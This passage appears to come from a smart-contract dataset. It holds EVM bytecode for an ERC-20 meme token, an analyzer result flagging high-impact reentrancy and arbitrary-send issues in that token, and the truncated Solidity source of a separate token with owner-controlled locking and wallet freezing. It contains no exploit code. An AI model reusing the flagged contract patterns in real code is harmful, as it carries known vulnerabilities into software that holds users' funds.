040518060400160405280601c81526020017f4b6972696c696e496e75207c20742e6d652f6b6972696c696e696e7500000000815250905090565b60006105c16105ba6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611474565b6106aa846105f56112a1565b6106a5856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b6106bd6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fe0565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f20565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294d565b6040518363ffffffff1660e01b815260040161095f929190612e10565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2f565b600080610a45610fd3565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e62565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff0219169083151502179055506802b5e3af16b18800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbc929190612e39565b602060405180830381600087803b158015610bd657600080fd5b505af1158015610bea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0e9190612aa7565b5050565b60006009905090565b610c236112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca790612fe0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd56112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5990612fe0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfe6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610e1e57600080fd5b6000479050610e2c81611c97565b50565b6000610e79600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b610e886112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0c90612fe0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f4b4952494c494e00000000000000000000000000000000000000000000000000815250905090565b600061104d6110466112a1565b8484611474565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110986112a1565b73ffffffffffffffffffffffffffffffffffffffff16146110b857600080fd5b60006110c330610e2f565b90506110ce81611e00565b50565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fe0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612fa0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613040565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f60565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90613000565b60405180910390fd5b61159f610fd3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610fd3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b601e42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610e2f565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f40565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fc0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f80565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63601a836131a5565b9150612c6e826134cc565b602082019050919050565b6000612c86602a836131a5565b9150612c91826134f5565b604082019050919050565b6000612ca96022836131a5565b9150612cb482613544565b604082019050919050565b6000612ccc601b836131a5565b9150612cd782613593565b602082019050919050565b6000612cef601d836131a5565b9150612cfa826135bc565b602082019050919050565b6000612d126021836131a5565b9150612d1d826135e5565b604082019050919050565b6000612d356020836131a5565b9150612d4082613634565b602082019050919050565b6000612d586029836131a5565b9150612d638261365d565b604082019050919050565b6000612d7b6025836131a5565b9150612d86826136ac565b604082019050919050565b6000612d9e6024836131a5565b9150612da9826136fb565b604082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cf6f2b6fc82404d5e2a96a21e87bcade9eaa23abb962f11024213759967e1d5a64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,072 |
0xa83b85384cd22337bde81bc88e478476ca9f4c3b
|
pragma solidity ^0.4.24;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract PersonaTokenBase is IERC20 {
using SafeMath for uint256;
mapping(address => uint256) public balances_;
mapping(address => mapping(address => uint256)) public allowed_;
uint256 public totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances_[_owner];
}
function allowance(address _owner, address _spender)
public
view
returns (uint256)
{
return allowed_[_owner][_spender];
}
function _transfer(
address _from,
address _to,
uint256 _value
) internal returns (bool) {
require(_value <= balances_[_from]);
require(_to != address(0));
balances_[_from] = balances_[_from].sub(_value);
balances_[_to] = balances_[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
return _transfer(msg.sender, _to, _value);
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed_[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function _transferFrom(
address _from,
address _to,
uint256 _value
) internal returns (bool) {
require(_value <= balances_[_from]);
require(_value <= allowed_[_from][msg.sender]);
require(_to != address(0));
balances_[_from] = balances_[_from].sub(_value);
balances_[_to] = balances_[_to].add(_value);
allowed_[_from][msg.sender] = allowed_[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function transferFrom(
address _from,
address _to,
uint256 _value
) public returns (bool) {
return _transferFrom(_from, _to, _value);
}
function increaseApproval(address _spender, uint256 _addedValue)
public
returns (bool)
{
allowed_[msg.sender][_spender] = allowed_[msg.sender][_spender].add(
_addedValue
);
emit Approval(msg.sender, _spender, allowed_[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint256 _subtractedValue)
public
returns (bool)
{
uint256 oldValue = allowed_[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed_[msg.sender][_spender] = 0;
} else {
allowed_[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed_[msg.sender][_spender]);
return true;
}
function _burn(address _account, uint256 _amount) internal {
require(_account != 0);
require(_amount <= balances_[_account]);
totalSupply_ = totalSupply_.sub(_amount);
balances_[_account] = balances_[_account].sub(_amount);
emit Transfer(_account, address(0), _amount);
}
function burn(uint256 _amount) public {
_burn(msg.sender, _amount);
}
}
contract PersonaToken is PersonaTokenBase, Ownable {
string public name;
string public symbol;
uint256 public decimals = 18;
struct lockInfo {
uint256 lockQuantity;
uint256 lockPeriod;
}
mapping(address => lockInfo[]) public tokenLockInfo;
mapping(address => uint256) public unlockQuantity;
mapping(address => bool) public lockStatus;
mapping(address => bool) private FreezedWallet;
function PersonaToken(
uint256 initialSupply,
string tokenName,
uint256 decimalsToken,
string tokenSymbol
) public {
decimals = decimalsToken;
totalSupply_ = initialSupply * 10**uint256(decimals);
emit Transfer(0, msg.sender, totalSupply_);
balances_[msg.sender] = totalSupply_;
name = tokenName;
symbol = tokenSymbol;
unlockQuantity[msg.sender] = balances_[msg.sender];
}
function transfer(address _to, uint256 _value) public returns (bool) {
bool transferResult;
uint256 lockQuantity;
uint256 lockTotalQuantity;
uint256 lockPeriod;
require(FreezedWallet[msg.sender] == false);
require(FreezedWallet[_to] == false);
if (lockStatus[msg.sender] == false) {
transferResult = _transfer(msg.sender, _to, _value);
if (transferResult == true) {
unlockQuantity[msg.sender] = unlockQuantity[msg.sender].sub(
_value
);
unlockQuantity[_to] = unlockQuantity[_to].add(_value);
}
} else {
for (uint256 i = 0; i < tokenLockInfo[msg.sender].length; i++) {
lockQuantity = tokenLockInfo[msg.sender][i].lockQuantity;
lockPeriod = tokenLockInfo[msg.sender][i].lockPeriod;
if (lockPeriod <= now && lockQuantity != 0) {
unlockQuantity[msg.sender] = unlockQuantity[msg.sender].add(
lockQuantity
);
tokenLockInfo[msg.sender][i].lockQuantity = 0;
lockQuantity = tokenLockInfo[msg.sender][i].lockQuantity;
}
lockTotalQuantity = lockTotalQuantity.add(lockQuantity);
}
if (lockTotalQuantity == 0) lockStatus[msg.sender] = false;
require(_value <= unlockQuantity[msg.sender]);
transferResult = _transfer(msg.sender, _to, _value);
if (transferResult == true) {
unlockQuantity[msg.sender] = unlockQuantity[msg.sender].sub(
_value
);
unlockQuantity[_to] = unlockQuantity[_to].add(_value);
}
}
return transferResult;
}
function transferFrom(
address _from,
address _to,
uint256 _value
) public returns (bool) {
bool transferResult;
uint256 lockQuantity;
uint256 lockTotalQuantity;
uint256 lockPeriod;
require(FreezedWallet[_from] == false);
require(FreezedWallet[_to] == false);
if (lockStatus[_from] == false) {
